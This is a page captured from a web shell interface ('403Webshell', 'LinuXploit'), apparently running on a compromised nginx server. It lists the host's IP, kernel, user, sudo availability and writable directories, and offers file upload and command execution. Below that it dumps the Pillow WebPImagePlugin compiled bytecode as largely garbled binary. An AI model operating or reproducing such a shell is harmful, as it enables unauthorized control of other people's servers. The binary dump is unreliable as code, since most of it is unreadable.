403Webshell
Server IP : 54.37.205.81  /  Your IP : 216.73.216.76
Web Server : nginx/1.22.1
System : Linux vps-249481fa 6.1.0-50-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.176-1 (2026-07-02) x86_64
User : debian ( 1000)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/PIL/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/PIL/__pycache__/WebPImagePlugin.cpython-311.pyc
�

�"�cY,���ddlmZddlmZmZ	ddlmZdZn
#e$rdZYnwxYwdddd�Zddd�Z	d	d
d
d�Z
d�ZGd
�dej��Zd�Z
d�Zejejee��eraejeje��ejrejeje
��ejejd��ejejd��dSdS)�)�BytesIO�)�Image�	ImageFile)�_webpTF)�RGBX�RGBA�RGB)r
r	r
r	)sVP8 sVP8XsVP8Lc��|dd�dk}|dd�dk}|dd�tv}|r|r|rts	dSdSdSdSdS)	N�sRIFF��sWEBP�zEimage file could not be identified because WEBP support not installedT)�_VP8_MODES_BY_IDENTIFIER�	SUPPORTED)�prefix�is_riff_file_format�is_webp_file�is_valid_vp8_modes    �5/usr/lib/python3/dist-packages/PIL/WebPImagePlugin.py�_acceptrs��� ��!��*��/���!�B�$�<�7�*�L��r�"�u�
�)A�A����|��0A���	�W�
�
��t�������c�d��eZdZdZdZdZdZd�Zd�Zd�Z	d�Z
dd	�Zd
�Zd�Z
�fd�Z�fd
�Z�xZS)�
WebPImageFile�WEBPz
WebP imagerc���tjs�tj|j�����\}}}|_}}|r
||jd<|r
||jd<||f|_t|��|_dd|j	zd|jfg|_
d|_d|_dStj
|j�����|_|j���\}}}}}}	||f|_||jd<|d	z	d
z|dz	d
z|dz	d
z|d
zf\}
}}}
|||
|
f|jd
<||_|jdk|_|	dkrdn|	|_|	|_g|_
|j�d��}|j�d��}|j�d��}|r
||jd<|r
||jd<|r
||jd<|�d���dS)N�icc_profile�exif�raw�rrrrF�loop��rr
�
backgroundrr
�ICCP�EXIFzXMP �xmp)�reset)r�
HAVE_WEBPANIM�
WebPDecode�fp�read�mode�info�_sizer�size�tile�n_frames�is_animated�WebPAnimDecoder�_decoder�get_info�rawmode�	get_chunk�_reset)�self�data�width�heightrr�
loop_count�bgcolor�frame_countr-�bg_a�bg_r�bg_g�bg_br's               r�_openzWebPImageFile._open,s*���"�	�@E�@P�������A�A�=�D�%����K���
7�+6��	�-�(��
)�$(��	�&�!����D�J��d�m�m�D�G���$�)�!3�Q��	�B�C�D�I��D�M�$�D���F��-�d�g�l�l�n�n�=�=��
�AE�
�@V�@V�@X�@X�=��v�z�7�K���F�]��
�&��	�&��
��]�d�"�
��]�d�"�
��\�T�!��d�N�	"
���d�D�$�$(��t�T�":��	�,��#��
��=�1�,���!�V�^�^�E�E���	������	��m�-�-�f�5�5���}�&�&�v�.�.���m�%�%�f�-�-���	3�'2�D�I�m�$��	%� $�D�I�f���	#�"�D�I�e��	
���%�� � � � � rc�d�d|jvrdS|������S)Nr)r.�getexif�_get_merged_dict�r:s r�_getexifzWebPImageFile._getexif`s.�����"�"��4��|�|�~�~�.�.�0�0�0rc�X�d|jvr |�|jd��niS)z�
        Returns a dictionary containing the XMP tags.
        Requires defusedxml to be installed.

        :returns: XMP tags in a dictionary.
        r')r.�_getxmprIs r�getxmpzWebPImageFile.getxmpes.��27�$�)�1C�1C�t�|�|�D�I�e�,�-�-�-��Krc�B�|�|��sdS||_dS�N)�_seek_check�_WebPImageFile__logical_frame�r:�frames  r�seekzWebPImageFile.seekns-������&�&�	��F� %����rTc�f�|r|j���d|_d|_d|_dS)Nr���)r5r(�_WebPImageFile__physical_frame�_WebPImageFile__loaded�_WebPImageFile__timestamp)r:r(s  rr9zWebPImageFile._resetus;���	"��M���!�!�!� !�����
�����rc��|j���}|xjdz
c_|�:|���|�d��d}t|���|\}}||jz
}||_||z}|||fS)Nrrz(failed to decode next frame in WebP file)r5�get_nextrWr9rT�EOFErrorrY)r:�ret�msgr;�	timestamp�durations      r�	_get_nextzWebPImageFile._get_next|s����m�$�$�&�&������"����;��K�K�M�M�M��I�I�a�L�L�L�<�C��3�-�-�����i��t�/�/��$���	�X��	��Y��(�(rc��|j|krdS||jkr|���|j|kr!|���|j|k�dSdSrO)rWr9rarRs  r�_seekzWebPImageFile._seek�sj��� �E�)�)��F��4�(�(�(��K�K�M�M�M��#�e�+�+��N�N�����#�e�+�+�+�+�+�+rc����tjr�|j|jkr�|�|j��|���\}}}||jd<||jd<|j|_|jr |jr|j�	��t|��|_dd|jzd|jfg|_
t�����S)Nr_r`rr r)rr)rXrQrcrar.r+�
_exclusive_fp�closerr0r7r1�super�load)r:r;r_r`�	__class__s    �rrhzWebPImageFile.load�s������	K��}�� 4�4�4��
�
�4�/�0�0�0�-1�N�N�,<�,<�)��i��)2��	�+�&�(0��	�*�%� $� 4��
��7�$�t�1�$��G�M�M�O�O�O�!�$�-�-���#�V�d�i�%7��D�L�I�J��	��w�w�|�|�~�~�rc�j��tjs t�����S|jSrO)rr)rg�tellrQ)r:ris �rrkzWebPImageFile.tell�s)����"�	"��7�7�<�<�>�>�!��#�#r)T)�__name__�
__module__�__qualname__�format�format_descriptionrXrQrErJrMrTr9rarcrhrk�
__classcell__)ris@rrr%s��������
�F�%���H��O�2!�2!�2!�h1�1�1�
L�L�L�%�%�%�����)�)�)�*��������&$�$�$�$�$�$�$�$�$rrc�B
�|j���}t|�dg����}d}|g|zD]}|t	|dd��z
}�|dkrt|||��dSd}d|vr	|d}ned|jvr\|jd}t|t��r:|�	��}|r||dz|dzdz�\}	}
}|	|
|df}n|||df}|j�d	|j�d	d����}|j�d
d��}
|j�dd��}|j�d
d��}|j�dd��}|j�dd��}d}|j�dd��}|j�dd��}|j�dd��}|j�d��pd}|j�dd��}t|tj��r|���}|j�dd��}|rd}|�|rdnd}|�|rdnd}t|ttf��r,t|��dkstd�|D����sd|��}t!|���|\}}}}|dz|dzz|d zz|dzz}t#j|jd|jd||
|||||�	�	}d}d} |���}!	|g|zD�];}t	|dd��}"t+|"��D�]}#|�|#��|���|}$|j}%|jt2vrSd!|jvp.d"|jvp%|jd#kod!|j���v}&|&rd$nd%}%|�|%��}$|%d%krd&}%|�|$�d'|%��| |$jd|$jd|%|||��t|ttf��r| ||z
} n| |z
} |dz
}����=	|�|!��n#|�|!��wxYw|�d| ddd||d��|�|||��}'|'�d(}t!|���|�|'��dS))N�
append_imagesrr2r)rrrrr$�r#r`r!�
minimize_sizeF�kmin�kmax�allow_mixed�lossless�quality�P�methodr�rr'�	��rc3�6K�|]}d|cxkodkncV��dS)r�N�)�.0�vs  r�	<genexpr>z_save_all.<locals>.<genexpr>�s6����4�4�A�1��<�<�<�<�C�<�<�<�<�4�4�4�4�4�4rz:Background color is not an RGBA tuple clamped to (0-255): r"rr
�A�a�Pr	r
rr�1cannot write file as WebP (encoder returned None)) �encoderinfo�copy�list�get�getattr�_saver.�
isinstance�int�
getpaletter�Exif�tobytes�tuple�len�all�OSErrorr�WebPAnimEncoderr0rk�rangerTrhr-�_VALID_WEBP_MODES�im�getpalettemode�convert�add�assemble�write)(r�r+�filenamer�rs�total�imsr$�palette�r�g�br`r!rurvrwrx�verboseryrzr|rrr'r^rBrCrDrA�enc�	frame_idxr_�cur_idx�nfr�idxrSr7�alphar;s(                                        r�	_save_allr��s����.�%�%�'�'�K������"�=�=�>�>�M�
�E��t�m�#�-�-��
���j�!�,�,�,�����z�z�
�b�"�h�������J��{�"�"� ��.�
�
�	���	 �	 ��W�\�*�
��j�#�&�&�	G��m�m�o�o�G��
G�!�*�q�.�J��N�a�3G�"G�H���1�a���A�s�^�
�
�(�*�j�#�F�
��~�!�!�*�b�g�k�k�*�a�.H�.H�I�I�H�
�>���f�a�(�(�D��N�&�&���>�>�M�
�>���f�d�+�+�D�
�>���f�d�+�+�D��.�$�$�]�E�:�:�K��G��~�!�!�*�e�4�4�H��n� � ��B�/�/�G�
�^�
�
��!�
,�
,�F��.�$�$�]�3�3�9�r�K�
�>���f�b�)�)�D��$��
�#�#���|�|�~�~��
�.�
�
�U�B�
'�
'�C������|��#�q�q�!���|��$�r�r�1��
�z�D�%�=�1�1���z�?�?�a����4�4��4�4�4�4�4� �X�:�W�W���c�l�l��(��D�$��d��"�*����,���	�:�d�a�i�H�J��
�
���
�
���
��������
�
�C��I��I��g�g�i�i�G�-��4�-�'�)	�)	�C��#�z�1�-�-�C��S�z�z�%
�%
������
�
�
����
�
�
����(���8�#4�4�4��s�x��P��#�(�?�P��H��O�N��s�v�7L�7L�7N�7N�0N��
).�8�f�f�5�G��K�K��0�0�E��e�#�#�$�G�����M�M�%��1�1���J�q�M��J�q�M�����	�	�	��h��u�
�6�6�*���)�!4�4�I�I���)�I��Q��	�	�K%
�	)	�X	���������������������G�G�D�)�Q��2�x��!�<�<�<��<�<��T�3�/�/�D��|�A���c�l�l���H�H�T�N�N�N�N�Ns
�ER*�*Sc
��|j�dd��}|j�dd��}|j�d��pd}|j�dd��}t|tj��r|���}|�d	��r
|d
d�}|j�dd��}|j�dd
��}|j�d��rdnd}	|jtvr?d|jvpd|jvp|jdkod|j	v}
|�
|
rdnd��}tj|���|j
d|j
d|t|��|j|||	||��}|�d}t|���|�|��dS)NryFrzr{rr}rrsExif�r'r|r�exactrrr�r�r��transparencyr	r
r�)r�r�r�rr�r��
startswithr-�_VALID_WEBP_LEGACY_MODESr.r�r�
WebPEncoder0�floatr�r�)
r�r+r�ryrzrrr'r|r�r�r;r^s
             rr�r�@s����~�!�!�*�e�4�4�H��n� � ��B�/�/�G��.�$�$�]�3�3�9�r�K�
�>���f�c�*�*�D��$��
�#�#���|�|�~�~������'�'���A�B�B�x��
�.�
�
�U�B�
'�
'�C�
�^�
�
��!�
,�
,�F���#�#�G�,�,�3�A�A�!�E�	�w�.�.�.��2�7�N�
>��b�g�~�
>���3��<�>�R�W�#<�	�
�Z�Z�%�2���U�
3�
3����
�
�
���
���
�
���
��
�g���
����
�����D��|�A���c�l�l���H�H�T�N�N�N�N�Nrz.webpz
image/webpN)�iorr}rrrr�ImportErrorr�r�rrrr�r��
register_openro�
register_saver)�register_save_all�register_extension�
register_mimer�rr�<module>r�s�������������������������I�I�������I�I�I�����"�4��=�=��#'��6�6���
�
����
�
�
�K$�K$�K$�K$�K$�I�'�K$�K$�K$�\J�J�J�Z&�&�&�R���M�(�-��A�A�A��<��E��
�,�e�4�4�4���A����
� 4�i�@�@�@��E��]�1�7�;�;�;��E��
�,�l�;�;�;�;�;�<�<s��#�#

Youez - 2016 - github.com/yon3zu
LinuXploit